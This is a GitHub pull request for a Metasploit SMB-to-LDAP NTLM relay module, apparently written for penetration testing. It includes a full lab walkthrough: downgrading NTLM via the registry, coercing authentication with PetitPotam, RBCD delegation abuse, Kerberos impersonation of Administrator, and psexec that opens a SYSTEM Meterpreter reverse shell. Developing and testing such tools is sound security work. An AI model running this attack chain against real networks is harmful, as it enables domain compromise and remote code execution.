Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SMB to LDAP relay module #19832

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

cdelafuente-r7
Copy link
Contributor

This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the configured RELAY_TARGETS hosts.

It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check (MIC). As a result, this will only work with NTLMv1. The module takes care of removing the relevant flags to bypass signing.

If the relay succeeds, an LDAP session to the target will be created. This can be used by any modules that support LDAP sessions, like admin/ldap/rbcd or auxiliary/gather/ldap_query.

Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. SMBv1 is not supported - please see #16261

Verification Steps

Lab setup

You will need a Domain Controller and a Domain-joined host:

Domain Computer <-> Metasploit framework <-> Domain Controller

Where:

  • Domain name: NEWLAB.local
  • VICTIM (Domain Computer) = 192.168.232.111
  • msfconsole = 192.168.232.3
  • DC01 (Domain Controller) = 192.168.232.110
flowchart LR
    A("VICTIM (Domain Computer) - 192.168.232.111")
    subgraph metasploit[" msfconsole - 192.168.232.3 "]
        subgraph inside [ ]
            direction TB
            style inside margin-top: 0
            style inside stroke: none
            B("smb_to_ldap")
            database[(Database)]
            B -->|"report_ntlm_type3(...)"| database
        end
    end
    C("DC01 (Domain Controller) - 192.168.232.110")
    A <-->|SMB 445| metasploit
    metasploit <-->|"ldap session (TCP/389)"| C
Loading

The Domain Computer will need to be configured to use NTLMv1 by setting the following registry key to a value less or equal to 2:

PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
    LmCompatibilityLevel    REG_DWORD    0x2

Finally run the relay server on msfconsole, setting the RELAY_TARGETS option to the Domain Controller IP address.

run verbose=true RELAY_TARGETS=192.168.232.110

You will have to coerce the Domain Computer and force it to authenticate to the msfconsole server (see an example below).

Scenarios

Start the relay server

msf6 > use auxiliary/server/relay/smb_to_ldap
msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RELAY_TARGETS=192.168.232.110
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/relay/smb_to_ldap) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf6 auxiliary(server/relay/smb_to_ldap) > _servicemanager
Services
========
 Id  Name                                                              References
 --  ----                                                              ----------
 0   Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer0.0.0.0445  2
 1   SMB Relay Server                                                  2

Net use example

A simple test would be using the Windows net use command:

net use \\192.168.232.3\foo /u:Administrator 123456

msfconsole output:

[*] New request from 192.168.232.111
[*] Received request for \Administrator
[*] Relaying to next target ldap://192.168.232.110:389
[+] Identity: \Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
[+] Relay succeeded
[*] LDAP session 1 opened (192.168.232.3:45007 -> 192.168.232.110:389) at 2025-01-23 20:39:45 +0100
[*] Received request for \Administrator
[*] Identity: \Administrator - All targets relayed to
[*] New request from 192.168.232.111
[*] Received request for NEWLAB\Administrator
[*] Relaying to next target ldap://192.168.232.110:389
[+] Identity: NEWLAB\Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
[+] Relay succeeded
[*] LDAP session 2 opened (192.168.232.3:43845 -> 192.168.232.110:389) at 2025-01-23 20:39:46 +0100
[*] Received request for NEWLAB\Administrator
[*] Identity: NEWLAB\Administrator - All targets relayed to
msf6 auxiliary(server/relay/smb_to_ldap) > sessions
Active sessions
===============
  Id  Name  Type  Information                               Connection
  --  ----  ----  -----------                               ----------
  1         ldap  LDAP Administrator @ 192.168.232.110:389  192.168.232.3:45007 -> 192.168.232.110:389 (192.168.232.110)
  2         ldap  LDAP Administrator @ 192.168.232.110:389  192.168.232.3:43845 -> 192.168.232.110:389 (192.168.232.110)

PetitPotam example

Coerce authentication using a non-privileged Domain User account with PetitPotam:

msf6 auxiliary(scanner/dcerpc/petitpotam) > run verbose=true rhosts=192.168.232.111 listener=192.168.232.3 SMBUser=msfuser SMBPass=123456 SMBDomain=newlab.local
[*] 192.168.232.111:445   - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
[*] 192.168.232.111:445   - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
[*] 192.168.232.111:445   - Attempting to coerce authentication via EfsRpcOpenFileRaw
[*] 192.168.232.111:445   - Server responded with ERROR_ACCESS_DENIED (Access is denied.)
[*] 192.168.232.111:445   - Attempting to coerce authentication via EfsRpcEncryptFileSrv
[*] New request from 192.168.232.111
[*] Received request for NEWLAB\VICTIM$
[*] Relaying to next target ldap://192.168.232.110:389
[+] Identity: NEWLAB\VICTIM$ - Successfully authenticated against relay target ldap://192.168.232.110:389
[*] Skipping previously captured hash for NEWLAB\VICTIM$
[+] Relay succeeded
[*] LDAP session 1 opened (192.168.232.3:46691 -> 192.168.232.110:389) at 2025-01-23 19:19:18 +0100
[*] Received request for NEWLAB\VICTIM$
[*] Identity: NEWLAB\VICTIM$ - All targets relayed to
[+] 192.168.232.111:445   - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.232.111:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions
Active sessions
===============
  Id  Name  Type  Information                               Connection
  --  ----  ----  -----------                               ----------
  1         ldap  LDAP VICTIM$ @ 192.168.232.110:389  192.168.232.3:46691 -> 192.168.232.110:389 (192.168.232.110)
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions -i 1
[*] Starting interaction with 1...
LDAP (192.168.232.110) > query -f (sAMAccountName=VICTIM$)
CN=VICTIM,CN=Computers,DC=newlab,DC=local
===============================================
 Name                                      Attributes
 ----                                      ----------
 accountexpires                            9223372036854775807
 badpasswordtime                           133820110912034399
 badpwdcount                               0
 cn                                        VICTIM
 ...
LDAP (192.168.232.110) >
Background session 1? [y/N]

Exploit Resource-based Constrained Delegation (RBCD)

For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation

  • Create a computer account with the admin/dcerpc/samr_account module and the same Domain User account
msf6 auxiliary(admin/dcerpc/samr_account) > run verbose=true rhost=192.168.232.110 SMBUser=msfuser SMBPASS=123456 SMBDomain=newlab.local action=ADD_COMPUTER ACCOUNT_NAME=FAKE01$ ACCOUNT_PASSWORD=123456
[*] Running module against 192.168.232.110
[*] 192.168.232.110:445 - Adding computer
[*] 192.168.232.110:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 192.168.232.110:445 - Binding to \samr...
[+] 192.168.232.110:445 - Bound to \samr
[+] 192.168.232.110:445 - Successfully created newlab.local\FAKE01$
[+] 192.168.232.110:445 -   Password: 123456
[+] 192.168.232.110:445 -   SID:      S-1-5-21-3065298949-3337206023-618530601-1618
[*] Auxiliary module execution completed
  • Setup RBCD with the admin/ldap/rbcd module using the LDAP session
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
[*] Running module against 192.168.232.110
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=WRITE delegate_from=FAKE01$
[*] Running module against 192.168.232.110
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
[*] Added account:
[*]   S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
[*] Running module against 192.168.232.110
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[*] Allowed accounts:
[*]   S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
[*] Auxiliary module execution completed
  • Getting the Kerberos tickets using the admin/kerberos/get_ticket module
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=FAKE01 password=123456 domain=newlab.local spn=cifs/VICTIM.newlab.local impersonate=Administrator
[*] Running module against 192.168.232.110
[+] 192.168.232.110:88 - Received a valid TGT-Response
[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
[*] 192.168.232.110:88 - Getting TGS impersonating Administrator@newlab.local (SPN: cifs/VICTIM.newlab.local)
[+] 192.168.232.110:88 - Received a valid TGS-Response
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
[+] 192.168.232.110:88 - Received a valid TGS-Response
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
[*] Auxiliary module execution completed
  • Code execution using the windows/smb/psexec module
msf6 exploit(windows/smb/psexec) > klist
Kerberos Cache
==============
id   host             principal                   sname                                        enctype  issued                     status  path
--   ----             ---------                   -----                                        -------  ------                     ------  ----
105  192.168.232.110  FAKE01@NEWLAB.LOCAL         krbtgt/NEWLAB.LOCAL@NEWLAB.LOCAL             AES256   2025-01-23 19:29:59 +0100  active  /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
106  192.168.232.110  Administrator@NEWLAB.LOCAL  FAKE01@NEWLAB.LOCAL                          AES256   2025-01-23 19:29:59 +0100  active  /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
107  192.168.232.110  Administrator@NEWLAB.LOCAL  cifs/VICTIM.newlab.local@NEWLAB.LOCAL        AES256   2025-01-23 19:29:59 +0100  active  /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.111 username=Administrator smb::auth=kerberos smb::rhostname=VICTIM.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local
[*] Started reverse TCP handler on 192.168.232.3:4444
[*] 192.168.232.111:445 - Connecting to the server...
[*] 192.168.232.111:445 - Authenticating to 192.168.232.111:445|newlab.local as user 'Administrator'...
[*] 192.168.232.111:445 - Using cached credential for cifs/VICTIM.newlab.local@NEWLAB.LOCAL Administrator@NEWLAB.LOCAL
[*] 192.168.232.111:445 - Selecting PowerShell target
[*] 192.168.232.111:445 - Executing the payload...
[+] 192.168.232.111:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 192.168.232.111
[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.111:42528) at 2025-01-23 19:35:07 +0100
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : VICTIM
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : NEWLAB
Logged On Users : 9
Meterpreter     : x86/windows

@cdelafuente-r7 cdelafuente-r7 changed the title Add the smb_to_ldap relay module and documentation SMB to LDAP relay module Jan 24, 2025
@@ -99,7 +99,7 @@ def do_session_setup_smb2(request, session)
response.smb2_header.nt_status = relay_result.nt_status.value
if relay_result.nt_status == ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value
response.buffer = relay_result.message.serialize
response.buffer = relay_result.message.serialize if relay_result.message
Copy link
Contributor Author

@cdelafuente-r7 cdelafuente-r7 Jan 24, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure why the NTLM type 2 message is not wrapped with GSS-API. I tried to do it but it fails, the client simply reset the connection. If anyone has any idea why?

response.buffer = ::RubySMB::Gss.gss_type2(relay_result.message.serialize) if relay_result.message

@cdelafuente-r7 cdelafuente-r7 marked this pull request as draft January 24, 2025 08:53
@cdelafuente-r7 cdelafuente-r7 marked this pull request as ready for review January 24, 2025 09:49
@jheysel-r7 jheysel-r7 self-assigned this Jan 24, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants